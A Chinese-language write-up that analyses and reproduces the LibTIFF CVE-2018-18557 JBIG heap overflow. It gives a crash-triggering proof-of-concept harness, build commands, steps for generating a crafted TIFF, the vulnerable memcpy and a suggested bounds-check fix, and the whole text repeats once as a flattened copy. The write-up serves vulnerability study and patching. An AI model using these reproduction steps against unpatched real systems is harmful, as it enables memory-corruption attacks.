CVE-2018-18557复现与分析
字数 1055 2025-08-25 22:58:34

LibTIFF CVE-2018-18557漏洞分析与复现指南

漏洞概述

CVE-2018-18557是LibTIFF 4.0.9版本中存在的一个堆缓冲区溢出漏洞,当启用JBIG支持时,该漏洞允许攻击者通过特制的TIFF文件导致内存破坏。

漏洞细节

  • 影响版本:LibTIFF 4.0.9(需启用JBIG支持)
  • 漏洞类型:堆缓冲区溢出
  • 漏洞位置tif_jbig.c中的JBIGDecode函数
  • 根本原因:解码JBIG数据时未验证缓冲区大小,导致可以写入超出分配内存边界的数据

环境准备

依赖安装

首先需要安装JBIG支持库:

sudo apt-get install libjbig-dev

编译LibTIFF 4.0.9

./configure --prefix=/path/to/install
make && make install

TIFF文件格式基础

TIFF(Tagged Image File Format)是一种灵活的图像文件格式,由三部分组成:

  1. 文件头信息区(IFH):包含文件标识和第一个IFD的偏移量
  2. 图像文件目录(IFD):包含描述图像属性的多个目录项(DE)
  3. 图像数据区:存储实际的像素数据

IFD中的目录项可以描述图像的各种属性,如图像宽度、高度、压缩方式等。

漏洞复现

1. 准备POC代码

主测试程序(poc.c)

#include <stdio.h>
#include "tiffio.h"

int main(int argc, char const *argv[]) {
    if (argc < 2) {
        printf("usage: %s <tif file>\n", argv[0]);
        return -1;
    }
    
    TIFF* tif = TIFFOpen(argv[1], "r");
    if (tif) {
        tdata_t buf;
        tstrip_t strip;
        buf = _TIFFmalloc(TIFFStripSize(tif));
        
        for (strip = 0; strip < TIFFNumberOfStrips(tif); strip++)
            TIFFReadEncodedStrip(tif, strip, buf, (tsize_t)-1);
            
        puts("it will crash,because heap space has been overflow:\n");
        _TIFFfree(buf); //<<< 这里会崩溃
        TIFFClose(tif);
    }
}

编译命令

gcc ./poc.c -g -o poc -I ./build/include/ -L ./build/lib/ ./build/lib/libtiff.a -ljbig -lm -lz

2. 生成恶意TIFF文件

使用testcase_generator.c生成恶意TIFF文件:

gcc testcase_generator.c -g -o testcase_generator -ljbig

生成测试文件:

echo "aaaa..." > text  # 填充大量数据
./testcase_generator text testcase.tif

3. 触发漏洞

./poc ./testcase.tif

预期结果:程序在释放内存时崩溃,因为堆空间已被溢出数据破坏。

漏洞分析

函数调用链

  1. TIFFReadEncodedStrip() 是入口函数
  2. 通过函数指针调用 JBIGDecode()
  3. JBIGDecode() 调用 _TIFFmemcpy() 执行不安全的拷贝

关键漏洞代码

JBIGDecode函数中:

pImage = jbg_dec_getimage(&decoder, 0);
_TIFFmemcpy(buffer, pImage, jbg_dec_getsize(&decoder));  // 无长度检查

问题在于:

  1. jbg_dec_getsize()从TIFF文件中读取长度值,完全信任输入
  2. 没有验证目标缓冲区buffer的大小是否足够
  3. 直接使用memcpy进行拷贝,导致堆溢出

调试观察

  • 分配的堆缓冲区大小可能只有0xb30字节
  • 但拷贝的数据长度可能达到0x26d0字节
  • 导致大量数据溢出到相邻内存区域

修复建议

  1. 升级到最新版本的LibTIFF
  2. JBIGDecode中添加长度验证:
tmsize_t decoded_size = jbg_dec_getsize(&decoder);
if (decoded_size > size) {
    // 错误处理
    return 0;
}
_TIFFmemcpy(buffer, pImage, decoded_size);

总结

CVE-2018-18557展示了在处理复杂图像格式时输入验证的重要性。LibTIFF在解码JBIG数据时完全信任了输入文件中的长度字段,导致了堆溢出漏洞。通过精心构造的TIFF文件,攻击者可以利用此漏洞实现内存破坏,可能导致任意代码执行。

LibTIFF CVE-2018-18557漏洞分析与复现指南 漏洞概述 CVE-2018-18557 是LibTIFF 4.0.9版本中存在的一个堆缓冲区溢出漏洞,当启用JBIG支持时,该漏洞允许攻击者通过特制的TIFF文件导致内存破坏。 漏洞细节 影响版本 :LibTIFF 4.0.9(需启用JBIG支持) 漏洞类型 :堆缓冲区溢出 漏洞位置 : tif_jbig.c 中的 JBIGDecode 函数 根本原因 :解码JBIG数据时未验证缓冲区大小,导致可以写入超出分配内存边界的数据 环境准备 依赖安装 首先需要安装JBIG支持库: 编译LibTIFF 4.0.9 TIFF文件格式基础 TIFF(Tagged Image File Format)是一种灵活的图像文件格式,由三部分组成: 文件头信息区(IFH) :包含文件标识和第一个IFD的偏移量 图像文件目录(IFD) :包含描述图像属性的多个目录项(DE) 图像数据区 :存储实际的像素数据 IFD中的目录项可以描述图像的各种属性,如图像宽度、高度、压缩方式等。 漏洞复现 1. 准备POC代码 主测试程序(poc.c) : 编译命令 : 2. 生成恶意TIFF文件 使用 testcase_generator.c 生成恶意TIFF文件: 生成测试文件: 3. 触发漏洞 预期结果:程序在释放内存时崩溃,因为堆空间已被溢出数据破坏。 漏洞分析 函数调用链 TIFFReadEncodedStrip() 是入口函数 通过函数指针调用 JBIGDecode() JBIGDecode() 调用 _TIFFmemcpy() 执行不安全的拷贝 关键漏洞代码 在 JBIGDecode 函数中: 问题在于: jbg_dec_getsize() 从TIFF文件中读取长度值,完全信任输入 没有验证目标缓冲区 buffer 的大小是否足够 直接使用 memcpy 进行拷贝,导致堆溢出 调试观察 分配的堆缓冲区大小可能只有0xb30字节 但拷贝的数据长度可能达到0x26d0字节 导致大量数据溢出到相邻内存区域 修复建议 升级到最新版本的LibTIFF 在 JBIGDecode 中添加长度验证: 总结 CVE-2018-18557展示了在处理复杂图像格式时输入验证的重要性。LibTIFF在解码JBIG数据时完全信任了输入文件中的长度字段,导致了堆溢出漏洞。通过精心构造的TIFF文件,攻击者可以利用此漏洞实现内存破坏,可能导致任意代码执行。